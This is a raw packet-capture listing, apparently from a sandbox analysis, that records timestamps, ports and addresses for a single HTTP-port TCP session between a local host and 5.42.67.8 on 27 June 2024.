Jun 27, 2024 06:44:18.719333887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.719372034 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.719388962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.719410896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.719425917 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.719439030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.719455957 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.792825937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.792851925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.792866945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.792875051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.792881012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.792895079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.792898893 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.792907000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.792911053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.792926073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.792956114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801265001 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801280022 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801292896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801346064 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801369905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801381111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801383972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801398039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801413059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801419973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801428080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801450968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801450968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801492929 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801506996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801528931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801542997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801548004 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801557064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801569939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801584959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801594973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801630020 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801661968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801675081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801695108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.801703930 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801712990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.801734924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.809892893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.809907913 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.809922934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.809948921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.809977055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810040951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810055017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810069084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810080051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810084105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810092926 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810097933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810116053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810122967 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810128927 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810148954 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810169935 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810173988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810188055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810201883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810206890 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810214996 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810223103 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810230017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810234070 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810244083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810250998 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810266972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810269117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810287952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810296059 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810308933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810340881 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810440063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810453892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810468912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810482979 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810491085 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810497999 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810512066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810516119 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810527086 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810535908 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810543060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810561895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810587883 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810687065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810700893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810714960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810728073 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810733080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810741901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810743093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810756922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810761929 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810771942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810786963 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810791969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810811043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810816050 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810837984 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810843945 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810849905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810878038 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.810933113 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810946941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810961008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.810995102 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811017990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811042070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811055899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811070919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811084986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811094046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811099052 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811113119 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811119080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811136007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811151981 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811162949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811165094 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811178923 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811187029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811192036 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811201096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811216116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811237097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811259985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811288118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811362982 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811374903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811388969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811403036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811408043 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811418056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811425924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811433077 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811434031 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811455011 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811480999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811492920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811506033 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811528921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811543941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.811568022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811588049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.811597109 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.814894915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.814909935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.814944029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.814954042 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.814956903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.814973116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.814975977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.814987898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815000057 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815016985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815026999 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815028906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815041065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815054893 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815058947 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815074921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815088987 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815114975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815129995 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815144062 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815157890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815162897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815174103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815186977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815187931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815211058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815234900 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815237045 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815251112 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815284967 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815313101 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815382957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815397978 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815414906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815419912 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815440893 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815465927 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815526009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815540075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815555096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815561056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815572023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815577030 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815587044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815593004 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815601110 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815607071 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815614939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815622091 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815633059 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815637112 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815654039 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815669060 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815685987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815700054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815732002 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815749884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815762997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815777063 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815793037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815800905 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815805912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.815817118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.815836906 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.879451990 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.879622936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.879632950 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.879636049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.879650116 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.879664898 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.879678965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.879698038 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.879698992 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.879713058 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.879807949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.888011932 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888036013 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888073921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888103962 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.888135910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888149977 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888164043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888179064 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888197899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.888264894 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888286114 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.888286114 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888299942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888314009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888328075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888338089 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.888362885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888375044 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888389111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.888396025 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.888470888 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.896447897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896471024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896495104 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896523952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896537066 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.896544933 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896601915 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896615982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896626949 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.896631002 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896645069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896682978 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.896683931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896713018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896744013 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.896759987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896795988 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896795988 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.896810055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896843910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896859884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896883965 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.896965027 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.896970987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.896986008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897001028 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897021055 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897038937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897042990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897051096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897064924 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897084951 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897087097 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897099018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897106886 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897113085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897128105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897135973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897152901 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897166967 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897180080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897187948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897188902 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897217989 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897372961 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897386074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897399902 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897413969 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897423983 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897428036 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897434950 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897439957 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897453070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897459984 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897468090 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897480965 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897488117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897496939 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897505045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897511959 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897532940 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897550106 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897581100 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897602081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897615910 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897635937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897638083 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897651911 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897660017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897685051 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897692919 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897701025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897715092 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897727966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897732973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897753000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897794962 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897809982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897814989 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897825956 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897835016 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:18.897840023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:18.897846937 CEST	49719	80	192.168.2.5	5.42.67.8
